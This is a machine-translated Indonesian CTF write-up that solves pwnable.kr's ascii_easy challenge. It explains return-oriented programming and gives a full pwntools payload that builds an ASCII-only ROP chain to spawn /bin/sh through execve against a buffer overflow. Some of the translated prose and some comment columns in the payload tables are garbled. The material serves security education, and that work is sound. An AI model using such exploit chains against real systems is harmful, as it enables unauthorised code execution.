Pemecahan masalah dengan pwnable.kr 26 - ascii_easy. Kami menangani gadget ROP dari awal sekali dan untuk semua

gambar

Pada artikel ini, kita akan menyelesaikan tugas ke-26 dari situs pwnable.kr dan memahami apa itu ROP, bagaimana cara kerjanya, mengapa hal itu sangat berbahaya, dan menyusun rantai ROP dengan pejuang yang semakin rumit.

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Solusi kerja Ascii_easy


Kami melanjutkan bagian kedua. Saya akan segera mengatakan bahwa ini lebih sulit daripada yang pertama, tetapi kali ini mereka memberi kami kode sumber program. Jangan lupa tentang diskusi di sini (https://t.me/RalfHackerPublicChat) dan di sini (https://t.me/RalfHackerChannel). Mari kita mulai.

Klik pada ikon caption ascii_easy. Kami diberi alamat dan port untuk terhubung melalui ssh.

gambar

Kami terhubung melalui SSH dan melihat bendera, program, kode sumber, dan perpustakaan libc.

gambar

Mari kita lihat kode sumbernya.

#include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <fcntl.h> #define BASE ((void*)0x5555e000) int is_ascii(int c){ if(c>=0x20 && c<=0x7f) return 1; return 0; } void vuln(char* p){ char buf[20]; strcpy(buf, p); } void main(int argc, char* argv[]){ if(argc!=2){ printf("usage: ascii_easy [ascii input]\n"); return; } size_t len_file; struct stat st; int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY); if( fstat(fd,&st) < 0){ printf("open error. tell admin!\n"); return; } len_file = st.st_size; if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){ printf("mmap error!. tell admin\n"); return; } int i; for(i=0; i<strlen(argv[1]); i++){ if( !is_ascii(argv[1][i]) ){ printf("you have non-ascii byte!\n"); return; } } printf("triggering bug...\n"); vuln(argv[1]); } 

Mari kita mengurutkannya menjadi blok. Program ini menggunakan string sebagai argumen.

gambar

Dalam hal ini, string harus hanya terdiri dari karakter ascii.

gambar

Area memori dengan alamat pangkalan yang diketahui dan izin baca, tulis, dan eksekusi juga dialokasikan. Perpustakaan libc ditempatkan di area ini.

gambar

Selain segalanya, program ini memiliki fungsi yang rentan.

gambar

Selain itu, jika Anda memeriksa program, Anda dapat memastikan bahwa ia memiliki tumpukan yang tidak dapat dieksekusi (parameter NX). Kami akan memutuskan dengan menyusun ROP.

gambar

Mari salin perpustakaan ke diri kita sendiri.

 scp -P2222 ascii_easy@pwnable.kr:/home/ascii_easy/libc-2.15.so /root/ 

Sekarang Anda perlu merakit rantai ROP. Untuk melakukan ini, gunakan alat ROP-gadget .

 ROPgadget --binary libc-2.15.so > gadgets.txt 

Dalam file gadgets.txt kami memiliki semua rantai ROP yang mungkin (contoh 10 dari yang pertama disajikan di bawah).

gambar

Masalahnya adalah kita harus memilih karakter yang terdiri dari karakter ascii saja. Untuk melakukan ini, kami menulis filter sederhana yang hanya akan menyisakan alamat-alamat itu, yang masing-masing byte milik interval dari 0x20 ke 0x7f inklusif.

 def addr_check(addr): ret = True for i in range(0,8,2): if int(addr[i:i+2], 16) not in range(0x20, 0x80): ret = False return ret f = open('gadgets.txt', 'rt') old_gadgets = f.read().split('\n')[2:-3] f.close() new_gadgets = "" base_addr = 0x5555e000 for gadget in old_gadgets: addr = base_addr + int(gadget.split(' : ')[0], 16) if addr_check(hex(addr)[2:]): new_gadgets += (hex(addr) + ' :' + ":".join(gadget.split(':')[1:]) + '\n') f = open('new_gadgets.txt', 'wt') f.write(new_gadgets) f.close() 

Jalankan program dan dapatkan daftar alamat gadget ROP yang memuaskan kami.

Rop gadget


Banyak yang meminta rincian lebih lanjut tentang pemrograman berorientasi kembali. Ok, mari kita beri contoh dengan ilustrasi. Misalkan kita memiliki kerentanan buffer overflow dan tumpukan yang tidak dapat dieksekusi.

Gadget ROP adalah kumpulan instruksi yang berakhir dengan ret pernyataan pengembalian. Sebagai aturan, gadget memilih dari akhir fungsi. Mari kita ambil beberapa fungsi sebagai contoh. Di masing-masing, pilih gadget ROP (disorot dengan warna merah).

gambar

gambar

gambar

Dengan demikian, kami memiliki beberapa rantai ROP:

 0x000ed7cb: mov eax, edx; pop ebx; pop esi; ret 0x000ed7cd: pop ebx; pop esi; ret 0x000ed7ce: pop esi; ret 0x00033837: pop ebx; ret 0x0010ec1f: add esp, 0x2c; ret 

Sekarang mari kita cari tahu seperti apa rantai ROP binatang buas itu. Ketika buffer meluap, kita dapat menulis ulang alamat pengirim. Misalkan, saat ini, instruksi ret harus dijalankan dalam fungsi target, yaitu, beberapa alamat yang valid terletak di bagian atas tumpukan.

Misalnya, kami ingin menjalankan kode berikut:

 add esp, 0x2c add esp, 0x2c add esp, 0x2c mov eax, edx pop ebx pop esi ret 

Kami harus menulis ulang alamat pengirim yang valid dengan alamat berikut:

 0x0010ec1f 0x0010ec1f 0x0010ec1f 0x000ed7cb 

Untuk memahami mengapa ini akan berhasil, mari kita lihat gambar di bawah ini.

gambar

Jadi, alih-alih kembali ke alamat yang valid, kami pindah ke alamat pertama rantai ROP kami. Setelah menjalankan perintah pertama, instruksi ret akan memindahkan program ke alamat berikutnya di stack, yaitu ke perintah kedua. Perintah kedua juga berakhir dengan ret, yang juga bergerak ke perintah berikutnya, yang alamatnya ditunjukkan pada stack. Dengan demikian, kami mencapai eksekusi kode yang kami kompilasi sebelumnya.

Rantai ROP untuk ascii_easy


Pertama-tama, kita akan mengetahui berapa banyak byte yang kita butuhkan untuk meluap buffer. Jalankan program di gdb dan masukkan baris ke input.

gambar

Dan program crash ke alamat "bbbb", yang berarti padding adalah 32 karakter.

Cara paling mudah untuk menggunakan ROP adalah dengan menggunakan fungsi execve. Kenyamanan terletak pada melewati parameter melalui register. Mari kita temukan fungsi ini di libc library. Ini dapat dilakukan dengan menggunakan GDB.

gambar

Tetapi jika kita menambah fungsi alamat perpustakaan memuat alamat dalam memori, kita akan melihat bahwa itu tidak akan memenuhi kondisi ascii.

gambar

Tetapi ada opsi lain untuk memanggil fungsi. Ini melalui panggilan sistem. Di Linux, setiap panggilan sistem memiliki nomornya sendiri. Nomor ini harus berada di register EAX, diikuti dengan panggilan interupsi int 0x80. Tabel siscall yang lengkap dapat dilihat di sini .

gambar

Dengan demikian, fungsi execve memiliki angka 11, yaitu nilai 0xb harus berada di register EAX. Parameter ditransfer melalui register EBX - alamat di awal baris parameter, ECX - alamat di penunjuk ke baris parameter, dan EDX - alamat di penunjuk ke variabel lingkungan argumen.

gambar

Kita perlu meneruskan string '/ bin / sh' ke fungsi. Untuk melakukan ini, kita perlu menuliskannya di tempat yang diizinkan untuk merekam dan meneruskan alamat string sebagai parameter. Baris harus menyimpan 4 karakter, mis. '/ bin' dan '// sh', karena register masing-masing mengirimkan 4 byte. Untuk ini, saya menemukan gadget berikut:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x55687b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret 

Gadget ini:

  1. Ambil dari tumpukan alamat untuk menulis string, dan masukkan ke dalam register edx, batalkan eax.
  2. Dibutuhkan nilai dari tumpukan dan tempatkan di edi.
  3. Ini akan menyalin nilai dari edi ke alamat di edx (itu akan menulis baris kami ke alamat yang diinginkan).
  4. Ini akan mengambil dua nilai lagi dari tumpukan.

Dengan demikian, untuk operasinya perlu mentransfer nilai-nilai berikut:

 0x555f3555 ;    memory_addr ;     (edx) 4__ ; 4    (edi) 0x55687b3c ;    4__ ;    (esi) 4__ ;    (edi) 

Kemudian Anda dapat menjalankan gadget yang sama untuk menyalin bagian kedua dari baris. Tidak akan sulit untuk menemukan alamat untuk menulis, karena perpustakaan dimuat ke area memori yang dapat diakses untuk membaca, menulis, dan mengeksekusi.

gambar

Alamat apa pun yang memenuhi syarat ascii dapat dibawa ke sana. Saya mengambil alamat 0x55562023.

Sekarang kita harus mengakhiri baris kita dengan karakter nol. Untuk tugas ini, saya menggunakan rantai gadget berikut:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x5560645c : mov dword ptr [edx], eax ; ret 

Gadget ini:

  1. Ambil dari tumpukan alamat untuk entri nol, dan masukkan ke dalam register edx, batalkan eax.
  2. Ambil nilai dari tumpukan.
  3. Salin nilai dari zeroed eax ke alamat di edx.

Dengan demikian, untuk operasinya perlu mentransfer nilai-nilai berikut:

 0x555f3555 ;    memory_addr+8 ;    0 -   (edx) 4__ ;    edi 0x5560645c ;    

Jadi, kami menyalin string kami ke memori. Selanjutnya, Anda perlu mengisi register untuk mentransfer nilai. Karena program "/ bin / sh" yang dipanggil di execve tidak akan memiliki argumen dan variabel lingkungannya sendiri, kami akan meneruskan null pointer ke dalamnya Dalam ebx kita menulis alamat di telepon dan di eax kita menulis 11 - nomor dari siskol execve. Untuk ini, saya menemukan gadget berikut:

 0x555f3555 : pop edx ; xor eax, eax ; pop edi ; ret 0x556d2a51 : pop ecx ; add al, 0xa ; ret 0x5557734e : pop ebx ; ret 0x556c6864 : inc eax ; ret 

Gadget ini:

  1. Menempatkan nilai dari tumpukan di edx, membatalkan eax.
  2. Pindahkan nilai dari tumpukan ke edi.
  3. Pindahkan nilai dari stack ke ecx, tambahkan ke nol eax 10.
  4. Pindahkan nilai dari tumpukan ke ebx.
  5. Tingkatkan eax dari 10 menjadi 11.

Dengan demikian, untuk operasinya perlu mentransfer nilai-nilai berikut:

 0x555f3555 ;    memory_addr+8 ;  null (edx) 4__ ;    edi 0x556d2a51 ;    memory_addr+8 ;  null (ecx) 0x5557734e ;    memory_addr ;  -(ebx) 0x556c6864 ;    

Dan kami mengakhiri rantai ROP kami dengan pengecualian.

 0x55667176 : inc esi ; int 0x80 

Di bawah ini adalah catatan yang lebih singkat dan umum di atas.

gambar

Dan kode membentuk payload.

 from pwn import * payload = "a"*32 pop_edx = 0x555f3555 memory_addr = 0x55562023 mov_edx_edi = 0x55687b3c mov_edx_eax = 0x5560645c pop_ecx = 0x556d2a51 pop_ebx = 0x5557734e inc_eax = 0x556c6864 int_80 = 0x55667176 payload += p32(pop_edx) payload += p32(memory_addr) payload += '/bin' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 4) payload += '//sh' payload += p32(mov_edx_edi) payload += 'aaaaaaaa' payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(mov_edx_eax) payload += p32(pop_edx) payload += p32(memory_addr + 8) payload += 'aaaa' payload += p32(pop_ecx) payload += p32(memory_addr + 8) payload += p32(pop_ebx) payload += p32(memory_addr) payload += p32(inc_eax) payload += p32(int_80) print(payload) 

gambar

gambar

Terus terang, bagi saya, untuk beberapa alasan, itu adalah salah satu tugas paling sulit dari situs ini ...

Lebih jauh dan lebih rumit ... Anda dapat bergabung dengan kami di Telegram . Mari kita mengumpulkan komunitas di mana akan ada orang-orang yang berpengalaman dalam banyak bidang TI, maka kita selalu dapat saling membantu dalam masalah TI dan keamanan informasi.

Source: https://habr.com/ru/post/id479184/


All Articles